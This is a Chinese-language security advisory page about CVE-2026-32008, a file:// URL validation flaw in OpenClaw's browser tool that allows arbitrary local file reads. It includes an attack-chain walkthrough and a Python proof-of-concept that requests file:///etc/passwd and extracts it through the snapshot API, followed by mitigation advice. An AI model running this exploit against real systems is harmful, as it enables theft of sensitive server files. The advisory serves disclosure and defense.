IPBUF安全漏洞报告
English
CVE-2026-32008 CVSS 6.5 中危

CVE-2026-32008 OpenClaw 任意本地文件读取漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32008
漏洞类型
任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

任意文件读取OpenClawURL验证绕过敏感信息泄露

漏洞概述

OpenClaw 2026.2.21之前的版本中存在URL验证不当漏洞。攻击者利用该漏洞,通过浏览器工具访问`file://`协议URL,可绕过安全限制读取服务器本地文件。这可能导致敏感数据被窃取,影响系统机密性。

技术细节

该漏洞的核心在于OpenClaw组件中的`assertBrowserNavigationAllowed()`函数在处理URL方案时验证逻辑不严谨。虽然系统试图限制可访问的资源范围,但未能正确拦截`file://`协议。攻击者若拥有合法的认证账户及浏览器工具访问权限,可构造包含`file://`的恶意导航请求。系统执行该请求后,本地文件被渲染至浏览器视图中。攻击者随后利用平台提供的快照与内容提取接口,解析页面内容并导出本地敏感数据,绕过了网络隔离限制。由于无需用户交互且利用难度低,此漏洞对机密性影响较高,可导致严重的数据泄露风险。

攻击链分析

STEP 1
1. 身份认证
攻击者需要获取OpenClaw平台的低权限账户凭证,并具备浏览器工具(browser-tool)的访问权限。
STEP 2
2. 构造恶意请求
攻击者利用`assertBrowserNavigationAllowed`函数的缺陷,构造指向本地文件的`file://`协议URL(如`file:///etc/passwd`)。
STEP 3
3. 执行文件读取
通过API发送导航请求,系统加载本地文件内容到浏览器界面中。
STEP 4
4. 数据提取
攻击者调用快照和提取功能,将浏览器中显示的文件内容转换为文本并回传,完成敏感数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-32008: OpenClaw Arbitrary Local File Read # This script demonstrates exploiting the improper URL scheme validation # to read local files via the browser-tool interface. import requests TARGET_URL = "http://target-openclaw-instance" API_KEY = "YOUR_AUTHENTICATED_API_KEY" # Requires PR:L (Low Privilege) access def exploit_local_file_read(file_path): # Step 1: Construct the malicious file:// URL # The vulnerability allows navigating to local files malicious_url = f"file://{file_path}" # Step 2: Use the browser-tool API to navigate to the local file # Endpoint assumes a generic structure based on the vulnerability description navigate_endpoint = f"{TARGET_URL}/api/browser/navigate" headers = {"Authorization": f"Bearer {API_KEY}"} payload = {"url": malicious_url} # Send navigation request # The assertBrowserNavigationAllowed() function fails to block 'file://' response = requests.post(navigate_endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully navigated to {malicious_url}") # Step 3: Take a snapshot to extract the file content snapshot_endpoint = f"{TARGET_URL}/api/browser/snapshot" snap_response = requests.get(snapshot_endpoint, headers=headers) if snap_response.status_code == 200: print("[+] Snapshot taken. File content extracted:") print(snap_response.text) else: print("[-] Failed to take snapshot.") else: print("[-] Navigation failed.") if __name__ == "__main__": # Example: Read /etc/passwd exploit_local_file_read("/etc/passwd")

影响范围

OpenClaw < 2026.2.21

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用浏览器工具功能或仅允许通过白名单机制访问受信任的域名。同时,应加强对系统日志的监控,检测是否存在针对`file://`协议的异常调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表